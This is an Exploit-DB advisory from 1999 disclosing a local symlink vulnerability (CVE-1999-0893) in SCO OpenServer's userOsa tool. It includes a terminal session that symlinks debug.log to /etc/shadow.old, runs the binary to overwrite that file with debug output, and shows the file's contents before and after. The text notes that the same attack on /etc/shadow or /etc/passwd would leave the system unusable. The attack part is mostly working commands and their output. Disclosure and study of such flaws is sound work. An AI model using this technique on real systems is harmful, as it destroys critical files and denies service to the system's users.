SCO Open Server <= 5.0.5 - 'userOsa' symlink Vulnerability

1999-10-11T00:00:00
ID EDB-ID:19542
Type exploitdb
Reporter Brock Tellier
Modified 1999-10-11T00:00:00

Description

SCO Open Server. CVE-1999-0893 . Local exploit for sco platform

                                        
                                            source: http://www.securityfocus.com/bid/701/info

Under certain versions of SCO OpenServer there exists a symlink vulnerability which can be exploited to overwrite any file which is group writable by the 'auth' group. The problem in particular is in the the /etc/sysadm.d/bin/userOsa executable. When given garbage output the program will write out a debug log. However, the program does not check to see if it overwriting a currently existing file nor wether it is following a symlink. Therefore is it possible to overwrite files with debug data which are both in the 'auth' group and are writable by the same group. Both /etc/shadow & /etc/passwd fall into this category. If such an attack were launched against these files the system would be rendered unusable.

scohack:/tmp$ ln -s /etc/shadow.old debug.log
scohack:/tmp$ /etc/sysadm.d/bin/userOsa
bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$

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BEFORE EXPLOIT:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old

AFTER EXPLOIT (note the file size):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old

scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
<<<
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect Request: bah}}})

scohack:/#